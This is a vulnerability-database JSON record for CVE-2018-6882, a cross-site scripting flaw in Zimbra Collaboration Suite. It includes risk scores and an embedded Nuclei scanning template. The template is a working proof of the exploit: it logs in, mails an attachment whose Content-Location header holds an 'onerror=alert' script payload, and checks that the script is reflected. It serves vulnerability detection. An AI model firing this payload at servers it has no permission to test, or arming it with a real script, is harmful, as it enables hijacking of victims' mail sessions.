{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-6882/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-6882/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-6882/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-6882/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-6882/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-6882"},"sightings":{"href":"/api/v1/sightings/cve-2018-6882"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.25268,"kev":true,"percentile":0.97845},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-6882.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2018-6882\n\ninfo:\n  name: Zimbra Collaboration Suite - Cross-site Scripting\n  author: Sourabh-Sahu\n  severity: medium\n  description: |\n    Cross-site scripting (XSS) vulnerability in the ZmMailMsgView.getAttachmentLinkHtml function in Zimbra Collaboration Suite (ZCS) before 8.7 Patch 1 and 8.8.x before 8.8.7 might allow remote attackers to inject arbitrary web script or HTML via a Content-Location header in an email attachment.\n  impact: |\n    Attackers can execute arbitrary JavaScript in victims' browsers via malicious email attachments, potentially stealing session cookies, credentials, or accessing sensitive email data.\n  remediation: |\n    Upgrade to Zimbra Collaboration Suite version 8.7 Patch 1 or 8.8.7 or later.\n  reference:\n    - https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vulnerability-in-zimbra-collaboration-suite-due-to-the-way-it-handles-attachment-links.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-6882\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.8\n    cve-id: CVE-2018-6882\n    epss-score: 0.25268\n    epss-percentile: 0.97845\n    cwe-id: CWE-79\n    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: zimbra\n    product: collaboration_server\n  tags: cve,cve2018,smtp,zimbra,collaboration-server,intrusive,xss,kev,vkev,vuln\n\nflow: http(1) && tcp(1) && http(2) && http(3)\n\nvariables:\n  mail: \"{{mail}}\"\n  pass: \"{{pass}}\"\n  user: \"{{user}}\"\n  base: \"{{interactsh-url}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        name: version\n        regex:\n          - 'CLIENT_VERSION\",\\s*\\{[^}]*defaultValue:\"(?:8\\.7\\.(?:0|5|11)|8\\.8\\.(?:0|6))(?:_GA_[0-9]+)?\"'\n        part: body\n        internal: true\n\n      - type: dsl\n        name: zimbra-detect\n        condition: and\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Zimbra Collaboration Suite\")'\n        internal: true\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: ZM_TEST=true\n\n        loginOp=login&username={{user}}&password={{pass}}&client=preferred\n\n    redirects: true\n    extractors:\n      - type: regex\n        name: csrf\n        part: body\n        regex:\n          - 'window\\.csrfToken\\s*=\\s*\"([^\"]+)\"'\n        internal: true\n        group: 1\n\n      - type: regex\n        name: session\n        part: body\n        regex:\n          - '\"session\":\\s*\\{\"id\":\"([0-9]+)\"'\n        internal: true\n        group: 1\n    cookie-reuse: true\n\n  - raw:\n      - |\n        POST /service/soap/SearchConvRequest HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml; charset=UTF-8\n        X-Zimbra-Csrf-Token: {{csrf}}\n\n        {\"Header\":{\"context\":{\"_jsns\":\"urn:zimbra\",\"userAgent\":{\"name\":\"ZimbraWebClient - FF128 (Linux)\",\"version\":\"8.7.11_GA_1854\"},\"session\":{\"_content\":\"{{session}}\",\"id\":{{session}}},\"account\":{\"_content\":\"{{mail}}\",\"by\":\"name\"},\"csrfToken\":\"{{csrf}}\"}},\"Body\":{\"SearchConvRequest\":{\"_jsns\":\"urn:zimbraMail\",\"sortBy\":\"dateDesc\",\"header\":[{\"n\":\"List-ID\"},{\"n\":\"X-Zimbra-DL\"},{\"n\":\"IN-REPLY-TO\"}],\"tz\":{\"id\":\"Asia/Kolkata\"},\"locale\":{\"_content\":\"en_US\"},\"offset\":0,\"limit\":250,\"query\":\"in:inbox\",\"cid\":\"-257\",\"fetch\":\"u!\",\"html\":1,\"needExp\":1,\"max\":250000,\"recip\":\"2\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"onerror=alert(document.domain)\")'\n          - 'contains(content_type, \"text/javascript\")'\n        condition: and\n\ntcp:\n  - host:\n      - \"{{Hostname}}\"\n    port: 25\n\n    inputs:\n      - read: 1024\n\n      - data: \"EHLO {{base}}\\r\\n\"\n        read: 1024\n\n      - data: \"MAIL FROM:<{{mail}}>\\r\\n\"\n        read: 1024\n\n      - data: \"RCPT TO:<{{mail}}>\\r\\n\"\n        read: 1024\n\n      - data: \"DATA\\r\\n\"\n        read: 1024\n\n      - data: |\n          From: {{mail}}\n          To: {{mail}}\n          Subject: Test Subject\n          MIME-Version: 1.0\n          Content-Type: multipart/mixed; boundary=\"BOUNDARY_12345\"\n\n          --BOUNDARY_12345\n          Content-Type: text/plain; charset=\"utf-8\"\n\n          Check the attachment\n\n          --BOUNDARY_12345\n          Content-Type: text/plain; name=\"attachment.txt\"\n          Content-Transfer-Encoding: base64\n          Content-Disposition: attachment; filename=\"attachment.txt\"\n          Content-Location: http://foo.bar'></a><img src=a onerror=alert(document.domain)>\n\n          YXR0YWNobWVudAo=\n          --BOUNDARY_12345--\n          .\n        read: 1024\n\n      - data: \"QUIT\\r\\n\"\n        read: 1024\n# digest: 4a0a004730450220313bef6fd15b8bbfce07e172e9021be83533ec4520cbaeb663cc86429fb82361022100cab18f6d634f0a1f640fed47a0f64a092eb00d64ed88d542db3271f6e1c86fb3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-6882"}